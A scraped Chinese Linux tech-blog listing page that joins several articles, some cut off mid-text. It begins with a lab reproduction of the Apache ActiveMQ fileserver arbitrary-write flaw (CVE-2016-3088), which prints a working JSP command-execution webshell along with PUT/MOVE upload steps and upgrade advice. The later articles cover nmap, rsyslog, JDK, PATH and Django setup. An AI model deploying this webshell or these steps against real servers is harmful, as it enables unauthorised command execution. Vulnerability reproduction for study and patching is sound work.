共 14 篇文章
标签:Linux 技术文档 操作系统
一、漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。 二、漏洞影响版本 Apache ActiveMQ 5.0.0 – 5.13.2 三、漏洞环境搭建 1、官网下载apache-activemq-5.7.0-bin.tar 下载地址:http://activemq.apache.org/download-archives.html 2、解压 3、启动,进入bin目录下,运行./activemq start 4、浏览器访问http://192.168.10.149:8161/,如下图可以看到成功搭建环境 四、漏洞复现 1、PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件 Jsp文件内容: <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %> 2、浏览器访问http://192.168.10.149:8161/fileserver/1.jsp,下图可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限 3、利用该版本存在物理路径泄露漏洞,爆一下绝对路径 4、利用Move方法将webshell移入admin目录下,如下图所示成功把文件移入到admin目录 5、利用该版本存在的未授权访问漏洞,不用登录,访问http://192.168.10.149:8161/admin/1.jsp?cmd=ls,下图可以看到成功执行命令 五、漏洞防御 1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。 ——————————————————————————— 参考: https://www.secpulse.com/archives/60064.html 总结 以上所述是小编给大家介绍的Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现,大家如有疑问可以留言,或者联系站长。感谢亲们支持!!! 如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢! Linux 技术文档 操作系统 数据运维技术 » Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 分享到:
nmap工具检测开放端口 Nmap是Network Mapper的简称。Nmap是一款免费、开源的网络发现和侦察工具。Nmap可以扫描网络中的处于活动状态的主机、开放端口、操作系统版本和服务检测以及执行隐匿方式的信息扫描。安装方式如下: #yum安装 yum -y install nmap #rpm包安装 rpm -ivh nmap-4.11-1.1.x86_64.rpm 查看开放端口情况: #查看本机开放端口信息(也可以查看其他ip) nmap 127.0.0.1 nmap 127.0.0.1 查看本机开放的端口,会扫描所有端口。 ️该工具查询开放端口情况,对阿里云服务器失效,只能查看到一个22端口。 Nmap的扫描参数 -p:扫描指定的端口 -A:使用进攻性扫描 -sV:指定让Nmap进行版本侦测 -F:扫描100个最有可能开放的端口 -v:显示冗余信息,扫描时显示细节 -iL:从文件中导入目标主机或目标网段 -sn:仅进行主机发现,不进行端口扫描 – exclude:所接的主机或网站不进行扫描 -sL:仅列举指定目标的IP,不进行主机发现 –system-dns:指定使用系统的DNS服务器 –excludefile:导入文件中的主机或网段不进行扫描 -n/-R:-n表示不进行DNS解析;-R表示进行DNS解析 -sU:使用UDP扫描的方式确定目标主机的UDP端口状态 -Pn:将所有指定的主机视作已开启,跳过主机发现的过程 -T4:指定扫描过程使用的时间 #有6个级别,等级越高速度越快,也容易被检测和屏蔽,建议使用T4一般扫描命令格式:nmap + 扫描参数 + 目标地址或网段 telnet查看端口是否开放 命令规则:telnet ip 端口出现如下内容表示可以连接 如果服务器没有telnet工具,可以执行如下命令安装: yum -y install telnet.x86_64 curl查看链接端口是否开放 命令规则:curl http:ip:端口出现响应表示可以正常访问。 nc(netcat)命令来查看远程 Linux 系统中某个端口是否开启 nc 即 netcat。netcat 是一个简单的 Unix 工具,它使用 TCP 或 UDP 协议去读写网络连接间的数据。它被设计成为一个可信赖的后端工具,可被直接使用或者简单地被其他程序或脚本调用。与此同时,它也是一个富含功能的网络调试和探索工具,因为它可以创建你所需的几乎所有类型的连接,并且还拥有几个内置的有趣功能。netcat 有三类功能模式,它们分别为连接模式、监听模式和隧道模式。nc(netcat)命令的一般语法: nc [-options] [HostName or IP] [PortNumber] 在下面的例子中,我们将检查远程 Linux 系统中的 22 端口是否开启。 [root@zjq zjq666]# nc -zvw3 121.xxx.234.456 8848 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 121.xxx.234.456:8848. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. 命令参数详解: nc:即执行的命令主体; z:零 I/O 模式(被用来扫描); v:显式地输出; w3:设置超时时间为 3 秒; 121.xxx.234.456:目标系统的 IP 地址; 8848:需要验证的端口。 netstat 工具查看已启用端口...
配置发送端:从server发送到syslog 打开以下文件 在第90行(附近也行)输入以下代码,authpriv代表所有级别的登录日志,@@代表tcp,172.168.2.100代表目标ip,514代表目标端口号,保存退出 authpriv.* @@10.99.8.6:514 配置接收端:配置协议,端口号,接收条件,存储位置 输入以下代码设置协议和端口号 取消注释如下代码: 接收条件配置 :fromhost-ip,iseuql,”172.16.2.100”是设置条件:ip是172.16.2.100,后面是设置位置 保存退出 重启日志服务并查看端口514 systemctl restart rsyslog.service 进入/var/log下查看文件夹是否创建 在接收端输入 tail -f /var/log/client_secure/10_3.log监控此文件的内容 触发日志,在发送端切换用户 接收端成功收到日志 配置完成 方式2:模板 创建日志接收模板 接下来的这步,需要我们来为远程消息创建模板,并告知rsyslog守护进程如何记录从其他客户端机器所接受到的消息。 使用文本编辑器来打开 /etc/rsyslog.conf,然后在GLOBAL DIRECTIVE块前追加以下的模板。 在此对该模板进行简单解释,$template RemoteLogs(这里“RemoteLogs” 字符串可以为任何其他的描述性的名称)指令使rsyslog后台进程将日志消息写到/var/log下的单独的本地日志文件中,其中日志文件的名称是基于远程日志发送机器的主机名以及生成该日志的应用程序名进行定义的。其中第二行暗示了我们将RemoteLogs模板应用到所有接收到的日志上。 符号”& ~”表示了一个重定向规则,被用来告知rsyslog守护进程停止对日志消息的进一步处理,并且不要在本地写入。如果没有使用该重定向规则,那么所有的远程消息都会在写入上述描述的日志文件之外同时被写入到本地日志文件,这就意味着日志消息实际上被写了两次。使用该规则的另外一个结果就是syslog服务器本身的日志消息只会被以该机器主机名命名的专有文件中。 如果你想要的话,也可以使用下面的模式对特定的设备或严重性级别使用新的模板直接来记录日志消息。 [facility-level].[severity-level] ?RemoteLogs 例如: 将全部优先级别的所有内部用户验证消息指定为RemoteLogs模板: authpriv.* ?RemoteLogs 将所有系统进程中除开mail、用户验证和cron消息之外的进程产生的消息级别的日志指定为RemoteLogs模板: *.info,mail.none,authpriv.none,cron.none ?RemoteLogs 如果我们想要将所有从远程客户端接受到的消息写入到一个以它们的IP地址命名的单个文件中,可以使用以下的模板。在此我们为该模板赋予了“IpTemplate”名称。 在我们启用rsyslog守护进程并编辑好配置文件之后,需要重启该守护进程。 在 Debian,Ubuntu 或 CentOS/RHEL 6中: $ sudo service rsyslog restart 在 Fedora 或 CentOS/RHEL 7中: $ sudo systemctl restart rsyslog 我们可以通过netstat命令来验证rsyslog守护进程是否正常工作。 $ sudo netstat -tulpn | grep rsyslog 在UDP监听端口下工作的rsyslog守护进程会有类似下面的输出。 udp 0 0 0.0.0.0:514 0.0.0.0:* 551/rsyslogd udp6 0 0 :::514 :::* 551/rsyslogd 如果rsyslog守护进程被设置在TCP连接端口,那么应该有类似下面所示的输出。 tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN 1891/rsyslogd tcp6 0 0 :::514 结语 到此这篇关于Linux中一对多配置日志服务器步骤教程的文章就介绍到这了,更多相关Linux配置日志服务器内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持! Linux 技术文档 操作系统 数据运维技术 » Linux中一对多配置日志服务器的详细步骤 分享到:
源码安装apache脚本部署 [root@localhost ~]# ls anaconda-ks.cfg httpd.tar.xz [root@localhost ~]# tar xf httpd.tar.xz 解压存放脚本的压缩包 [root@localhost ~]# ls anaconda-ks.cfg httpd httpd.tar.xz [root@localhost ~]# cd httpd/ [root@localhost httpd]# ls apache_lnh.sh(编译安装apache脚本) config.sh(附属脚本) files [root@localhost httpd]# ls files/ //存放安装包的目录 apr-1.7.0.tar.gz apr-util-1.6.1.tar.gz httpd-2.4.53.tar.gz httpd-2.4.54.tar.gz zhuawawa(源码包的目录) [root@localhost httpd]# cat apache_lnh.sh #/bin/bash #列出httpd版本号进行选择 cat > /tmp/xbz.txt <<EOF 请输入要安装的版本序号: 1. 2.4.54 2. 2.4.53 q. 退出 EOF cat /tmp/xbz.txt read -p “选择版本号” apache_version case $apache_version in 1) apache_version=$(awk ‘NR==2{print $2}’ /tmp/xbz.txt) echo $apache_version ;; 2) apache_version=$(awk ‘NR==3{print $2}’ /tmp/xbz.txt) echo $apache_version ;; q) apache_version=$(awk ‘NR==4{print $2}’ /tmp/xbz.txt) echo $apache_version exit ;; *) echo “错误输入” exit esac #设置执行权限 if [ $UID -ne 0 ];then echo “请以管理员用户进行执行” exit fi #定义变量 install_dir=/usr/local/apache #创建用户 id apache &> /dev/null if [ $? -ne 0 ];then useradd...
一:关于ping的问题 1.虚拟机ping百度 在虚拟机中ping百度看能不能先ping通,如果虚拟机连接不上网络的话Xshell肯定是连接不上的。 解决办法:点击虚拟机中的编辑–>虚拟网络编辑器 从这两张图中我们可以看到netmask和gateway对应的值,然后 vi /etc/sysconfig/network-scripts/ifcfg-ens33(注意最后的这个-ens33可能有的人的网卡并不一样,有的人的网卡是eth0) 然后在这个文件中按照如下的样例更改wq保存 保存好以后再运行 service network restart重启下网络就可以了 2.windows下ping linux的ip地址 以上问题解决以后查看windows下能否ping通linux的ip地址ping不通的话可以采用以下办法解决 控制面板–>网络和 Internet–>网络连接 选择VM8后按照如下进行配置,注意图里面的ip地址配置是这样的,在博客第一张图中右下角可以看到一个子网IP,假如我们的子网IP是192.168.10.0,里面IP地址就填写192.168.10.1,子网IP是192.168.20.0,里面IP地址就填写192.168.20.1 此时点击确定以后我们在点击一下VM8的禁用,点击完以后禁用再右键单击一下启用,这时再去ping下linux的主机IP就能通了(虽然有点sb的操作,但是我试过了貌似只有这样才可以,就像重启操作一样,其实在很多时候windows下ping不通linux我们都可以先禁用一下VM8然后在启用它基本上就解决了) 3.linux下ping windows 一般情况下linux都是能ping通windows的,如果ping不通的话可以搜索一下原因,这里我就不叙述了。 二:防火墙的问题 检查你虚拟机中防火墙是否关闭 CentOs6中 查看防火墙状态:service iptables status 关闭防火墙:service iptables stop 禁用防火墙:chkconfig iptables off CentOs7中 查看防火墙状态:systemctl status firewalld.service 关闭防火墙:systemctl stop firewalld.service 禁用防火墙:systemctl disable firewalld.service 三:ssh服务 如果防火墙没问题的话检查ssh服务是否开启 查看ssh状态:service sshd status 正常情况下都是active的,如果显示dead的话需要手动开启一下(service sshd start),如果开启时报错说没有安装ssh服务请先移步点这里 四:VM中的还原默认设置 如果以上的操作都没问题的话Xshell还是连接不上我们的虚拟机,可以点VM中的 编辑–>虚拟网络编辑器–还原默认设置(这个方法也特别有效</>) 注意还原好以后我们主要看一下VM8的这是没还原之前的NAT设置 没还原之前的DHCP设置 这里我贴上还原默认设后的VM8的子网IP,网关IP(网关),起始和结束IP地址。 还原后的更改设置 注意: 1.当我们只有一个简单的单台虚拟机的话可以先点击还原默认设置右边的 应用,然后在点击旁边的确定,这时我们 vi /etc/sysconfig/network-scripts/ifcfg-ens33 把之前的IP地址改为你还原后DHCP中起始IP和结束IP地址中的任意一个,比如我改为192.168.58.130,将gateway改为NAT设置中的网关IP,子网掩码要是变化的话也照样改一下,改完以后service network restart重启下网络就可以连上虚拟机了。 2.当我们虚拟机是很多linux组成的集群时,在使用上面的修改配置文件的办法就显得比较麻烦了,可以按照之前配置文件ifcfg-ens33中的信息来修改VM8的子网IP,NAT设置,DHCP中的值,注意在DHCP中只要修改它的起始IP和结束IP中的第三例的数据就行了,其他的和之前没有发生变化。修改好以后在点应用和确定就可以了。 五:相关服务是否打开 五:点击此电脑–>管理–>服务和应用程序–>服务 查看VM的相关服务是否已经打开,没开的先手动开一下,如果开启的话Xshell也连接不上去可以重启一下这几项服务。 六:卸载VM软件重装 六:有可能是VMware Workstation这个软件出现了小毛病导致Xshell连接不上,我们可以先将之前的虚拟机关机,卸载掉VMware 在重新安装一下,这样也能解决问题。 到此这篇关于Xshell连接不上虚拟机的解决办法汇总的文章就介绍到这了,更多相关Xshell连接不上虚拟机 内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持! Linux 技术文档 操作系统 数据运维技术 » Xshell连接不上虚拟机的解决办法汇总 分享到:
前言 最开始我是想在CentOS8上使用 wget 下载,然后对它进行解压,配置环境变量,奈何搞了很长时间都没有搞好,于是放弃,使用yum直接安装。 1、安装方法 CentOS8上使用 yum 直接安装,环境变量自动配置好 2、查看是否已安装 看到下面结果,说明已经安装配置 jdk [root@localhost ~]# java -version openjdk version “1.8.0_222” OpenJDK Runtime Environment (build 1.8.0_222-b10) OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode) 3、卸载 查看系统是否自带 jdk rpm -qa |grep java rpm -qa |grep jdk rpm -qa |grep gcj 如果有输出信息,批量卸载系统自带 rpm -qa | grep java | xargs rpm -e --nodeps 如果使用 yum 安装的 jdk,请使用下面命令卸载 yum -y remove java-1.8.0-openjdk-headless.x86_64 4、安装 4.1 检查 yum 中有没有 java1.8 包 yum list java-1.8* 4.2 开始安装 yum install java-1.8.0-openjdk* -y 5、验证 [root@localhost ~]# java -version openjdk version “1.8.0_222” OpenJDK Runtime Environment (build 1.8.0_222-b10) OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode) 总结 以上所述是小编给大家介绍的CentOS8 安装 jdk8 / java8的教程,大家如有疑问可以留言,或者联系站长。感谢亲们支持!!! 如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!
需要知道重要事件发生前有多少天吗?让 Linux bash 和 date 命令可以帮助你! 随着即将来临的重要假期,你可能需要提醒你还要准备多久。 幸运的是,你可以从 date 命令获得很多帮助。在本篇中,我们将研究 date 和 bash 脚本如何告诉你从今天到你预期的事件之间有多少天。 首先,在进行之前有几个提示。date 命令的 %j 选项将以 1 至 366 之间的数字显示当前日期。如你所想的一样,1 月 1 日将显示为 1,12 月 31 日将显示为 365 或 366,这取决于是否是闰年。继续尝试。你应该会看到以下内容: $ date +%j 339 但是,你可以通过以下方式,在 date 命令中得到一年中任何一天的数字: $ date -d “Mar 18” +%j 077 要记住的是,即使该日期是过去的日期,上面命令也会向你显示当年的日期。但是,你可以在命令中添加年来修复该问题: $ date -d “Apr 29” +%j 119 $ date -d “Apr 29 2020” +%j 120 在闰年中,4 月 29 日将是一年的 120 天,而不是 119 天。 如果你想倒数圣诞节之前的日子并且不想在挂历上留下指纹,你可以使用以下脚本: #!/bin/sh XMAS=`date -d “Dec 25” +%j` TODAY=`date +%j` DAYS=$(($XMAS – $TODAY)) case $DAYS in 0) echo “It’s today! Merry Christmas!”;; [0-9]*) echo “$DAYS days remaining”;; -[0-9]*) echo “Oops, you missed it”;; esac 在此脚本中,我们获取 12 月 25 日和今天的日期,然后相减。如果结果是正数,我们将显示剩余天数。如果为零,则发出 “Merry Christmas” 的消息,如果为负,那么仅告诉运行脚本的人他们错过了假期。也许他们沉迷在蛋酒中了。 case 语句由用来打印信息的语句组成,当剩余时间等于 0,或任意数字或以 – 符号开头的数字(也就是过去)分别打印不同的信息。 对于人们想要关注的任何日期,都可以使用相同方法。实际上,我们可以要求运行脚本的人员提供日期,然后让他们知道从现在到那天还有多少天。这个脚本是这样的。 #!/bin/sh echo -n...
在自定义安装软件的时候,经常需要配置环境变量,下面列举出各种对环境变量的配置方法。 下面所有例子的环境说明如下: 系统:Ubuntu 14.0 用户名:uusama 需要配置MySQL环境变量路径:/home/uusama/mysql/bin Linux读取环境变量 读取环境变量的方法: export命令显示当前系统定义的所有环境变量 echo $PATH命令输出当前的PATH环境变量的值 这两个命令执行的效果如下 uusama@ubuntu:~$ export declare -x HOME="/home/uusama" declare -x LANG="en_US.UTF-8" declare -x LANGUAGE="en_US:" declare -x LESSCLOSE="/usr/bin/lesspipe %s %s" declare -x LESSOPEN="| /usr/bin/lesspipe %s" declare -x LOGNAME="uusama" declare -x MAIL="/var/mail/uusama" declare -x PATH="/home/uusama/bin:/home/uusama/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" declare -x SSH_TTY="/dev/pts/0" declare -x TERM="xterm" declare -x USER="uusama" uusama@ubuntu:~$ echo $PATH /home/uusama/bin:/home/uusama/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 其中PATH变量定义了运行命令的查找路径,以冒号:分割不同的路径,使用export定义的时候可加双引号也可不加。 Linux环境变量配置方法一:export PATH 使用export命令直接修改PATH的值,配置MySQL进入环境变量的方法: export PATH=/home/uusama/mysql/bin:$PATH # 或者把PATH放在前面 export PATH=$PATH:/home/uusama/mysql/bin 注意事项: 生效时间:立即生效 生效期限:当前终端有效,窗口关闭后无效 生效范围:仅对当前用户有效 配置的环境变量中不要忘了加上原来的配置,即$PATH部分,避免覆盖原来配置 Linux环境变量配置方法二:vim ~/.bashrc 通过修改用户目录下的~/.bashrc文件进行配置: vim ~/.bashrc # 在最后一行加上 export PATH=$PATH:/home/uusama/mysql/bin 注意事项: 生效时间:使用相同的用户打开新的终端时生效,或者手动source ~/.bashrc生效 生效期限:永久有效 生效范围:仅对当前用户有效 如果有后续的环境变量加载文件覆盖了PATH定义,则可能不生效 Linux环境变量配置方法三:vim ~/.bash_profile 和修改~/.bashrc文件类似,也是要在文件最后加上新的路径即可: vim ~/.bash_profile # 在最后一行加上 export PATH=$PATH:/home/uusama/mysql/bin 注意事项: 生效时间:使用相同的用户打开新的终端时生效,或者手动source ~/.bash_profile生效 生效期限:永久有效 生效范围:仅对当前用户有效 如果没有~/.bash_profile文件,则可以编辑~/.profile文件或者新建一个 Linux环境变量配置方法四:vim /etc/bashrc 该方法是修改系统配置,需要管理员权限(如root)或者对该文件的写入权限: # 如果/etc/bashrc文件不可编辑,需要修改为可编辑 chmod -v u+w /etc/bashrc vim /etc/bashrc # 在最后一行加上 export PATH=$PATH:/home/uusama/mysql/bin 注意事项: 生效时间:新开终端生效,或者手动source /etc/bashrc生效 生效期限:永久有效 生效范围:对所有用户有效...
安装VMware Tools后,①文本在虚拟机主机之间可以相互复制粘贴, ②虚拟机文件可复制到主机,但 → 主机文件无法复制到虚拟机。可通过以下方法,从终端直接访问主机文件夹。 1.虚拟机>设置>选项>共享文件夹 点选 “总是启用” “文件夹”>添加>下一步>浏览[主机路径]>下一步 启用此共享>完成>确定 2.终端输入 vmware-hgfsclient 显示刚刚添加的主机文件夹名。 3.终端输入 /bin/vmware-config-tools.pl 默认yes等待最后几行出现, The configuration of VMware Tools 10.3.10 build-13959562 for Linux for this running kernel completed successfully. Enjoy, –the VMware team 4.此时,从以下位置即可访问以上添加的主机文件夹,进行复制。 cd /mnt/hgfs/ ls cp host_file /root/Documents/ 总结 以上所述是小编给大家介绍的CentOS8虚拟机访问Windows10主机文件夹方法,大家如有疑问可以留言,或者联系站长。感谢亲们支持!!! 如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!
1.虚拟环境virtualenv安装 1.安装virtualenv pip3 install virtualenv 2.创建目录,把项目文件传过来 mkdir My cd My 3.创建独立运行环境-命名 virtualenv –no-site-packages –python=python3 venv1 #创建独立的环境,并且指定解释器是python3 4.进入虚拟环境 source venv1/bin/activate #此时进入虚拟环境(venv1) 5.在虚拟环境中安装第三方库,导入需要的环境(导出命令:pip3 freeze > packages.txt) pip3 install django==2.11 #此时pip3的包都会安装到venv1环境下,venv1是针对Myproject创建的 pip3 install -r packages.txt 6.退出venv1环境 deactivate 7. virtualenv是如何创建“独立”的Python运行环境的呢?原理很简单,就是把系统Python复制一份到virtualenv的环境, 用命令source venv/bin/activate进入一个virtualenv环境时,virtualenv会修改相关环境变量,让命令python和pip均指向当前的virtualenv环境。 2.django配置 1.settings.py DEBUG = False #debug改为false ALLOWED_HOSTS = [‘*’] # 访问地址改为 “*” 表示所有 STATIC_ROOT = os.path.join(os.path.dirname(BASE_DIR),”static”) #nginx访问的目录 放到了之前static的上一级目录,可以自定义 需要写绝对路径 STATIC_URL = ‘/static/’ STATICFILES_DIRS=[ os.path.join(BASE_DIR,”static”),] MEDIA_URL = ‘/archive/’ MEDIA_ROOT = os.path.join(os.path.dirname(BASE_DIR), ‘archive’) #用户上传的静态文件,如:头像 配置完成后运行python manage.py collectstatic 加载静态文件至STATIC_ROOT 目录 2.urls.py from django.urls import path,re_path from django.conf import settings from django.views.static import serve urlpatterns = [ re_path(r’^archive/(?P<path>.*)$’, serve, {‘document_root’: settings.MEDIA_ROOT}, name=’archive’), #用户上传的文件 path(‘favicon.ico’, serve,{‘path’: ‘img/favicon.ico’,’document_root’:settings.STATIC_ROOT}), #全局favicon.ico图标 ] 3.安装和配置uwsgi 1.进入虚拟环境venv1,安装uwsgi(最好虚拟环境外也安装一下) (venv1) [root@localhost ~]# pip3 install uwsgi 2.配置启动文件(放到哪个目录都可以,我放到venv1下了) uwsgi支持ini、xml等多种配置方式,本文以 ini 为例, 在/etc/目录下新建uwsgi.ini,添加如下配置: #添加配置选择 [uwsgi] #配置和nginx连接的socket连接...